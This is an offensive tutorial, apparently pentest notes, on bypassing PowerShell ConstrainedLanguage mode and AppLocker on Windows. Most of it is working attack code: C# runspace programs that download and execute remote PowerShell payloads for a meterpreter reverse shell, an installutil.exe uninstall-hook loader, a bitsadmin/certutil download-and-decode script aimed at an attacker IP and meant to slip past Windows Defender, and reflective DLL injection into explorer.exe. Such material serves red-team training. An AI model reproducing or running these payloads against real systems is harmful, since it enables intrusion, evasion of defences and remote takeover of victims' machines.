Language modes
To get our current user’s PowerShell language mode, invoke the following:
$ExecutionContext.SessionState.LanguageMode
Under ConstrainedLanguage
mode, only scripts that comply with the
AppLocker allowlist, existing within a allowlisted directory or comply with
a allowlisting rule, can execute with full functionality. These limitations also
restrict users from invoking the .NET framework from PowerShell to execute
C# code or conduct reflection.
Creating a custom runspace
PowerShell functionality exists within the System.Management.Automation.dll
managed DLL, used by PowerShell to create a runspace. Runspaces are how
PowerShell managed jobs, multithreading, and parallel task execution, accessible
to managed code written in C# and .NET.
Creating a C# .NET project, we can create our own runspace with the following
code, bypassing the ConstrainedLanguage
mode, and executing a PowerShell
meterpreter reverse shell payload:
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace Bypass
{
class Program
{
static void Main()
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
String cmd = "(Invoke-RestMethod -Uri 'http://${LHOST}:${LPORT}/Payload.ps1' -UseBasicParsing) | Invoke-Expression";
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
Bypass directory restrictions with installutil
Using code from our C# .NET project in the previous section,
Creating a custom runspace,
we can create a project with valid symbols for the Windows installutil.exe
utility:
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main()
{
Console.WriteLine("");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
String cmd = "(Invoke-RestMethod -Uri 'http://${LHOST}:${LPORT}/Payload.ps1' -UseBasicParsing) | Invoke-Expression";
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
Transferring the payload
The problem with using installutil.exe
is that the payload needs to be written
to disk, creating an opening for Windows Defender to scan and inspect our
payload during download as well as storage on the host. We can use a combination
of bitsadmin.exe
and certutil.exe
to securely transfer the payload and
execute it.
The following invocation uses certutil.exe
to encode the payload:
certutil -encode "${PAYLOAD_PATH}" "${OUTFILE}"
The following invocation downloads the encoded payload from your attacker host and executes it:
$InstallUtilProgram = (Get-ChildItem `
-ErrorAction SilentlyContinue `
-Path "C:\Windows" `
-Filter "installutil.exe" `
-Recurse `
-File | Where-Object {$_.FullName -Like "*Framework64\v4*"}).FullName
$BitsAdminProgram = (Get-Command -Name "bitsadmin").Source
$CertUtilProgram = (Get-Command -Name "certutil").Source
$lHost = "192.168.45.190"
$lPort = "80"
$encodedFileName = "encoded.txt"
$uri = "http://${lHost}:${lPort}/$encodedFileName"
$decodedFileName = "Bypass.exe"
$encodedFilePath = (Join-Path `
-Path (Resolve-Path -Path .).Path `
-ChildPath $encodedFileName
)
$decodedFilePath = (Join-Path `
-Path (Resolve-Path -Path .).Path `
-ChildPath $decodedFileName
)
Start-Process `
-FilePath $BitsAdminProgram `
-ArgumentList @(
"/TRANSFER",
"transferJob",
$uri,
$encodedFilePath
) `
-WindowStyle Hidden `
-Wait
Start-Process `
-FilePath $CertUtilProgram `
-ArgumentList @(
"-decode",
$encodedFilePath,
$decodedFilePath
) `
-WindowStyle Hidden `
-Wait
Remove-Item -Path $encodedFilePath
Start-Process `
-FilePath $InstallUtilProgram `
-ArgumentList @(
"/LogFile=",
"/LogToConsole=false",
"/U",
$decodedFilePath
) `
-WindowStyle Hidden
Make sure to host your payload on an HTTP server that supports bitsadmin
, e.g.
apache2
:
sudo systemctl start apache2
Reflective DLL injection
Using Invoke-ReflectivePEInjection from PowerSploit, we can also inject meterpreter reverse shell payload DLLs into target processes through this PowerShell code execution bypass using C# .NET.
The following C# .NET project uses the previous installutil.exe
technique to
download a payload from our attacker host and inject it into the explorer.exe
process:
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main()
{
Console.WriteLine("");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
String cmd =
@"$bytes = (Invoke-WebRequest -Uri 'http://${LHOST}:${LPORT}/Payload.dll' -UseBasicParsing).Content
(Invoke-RestMethod -Uri 'http://${LHOST}:${LPORT}/Invoke-ReflectivePEInjection.ps1') | Invoke-Expression
$procid = (Get-Process -Name explorer).Id
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid -ErrorAction SilentlyContinue";
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}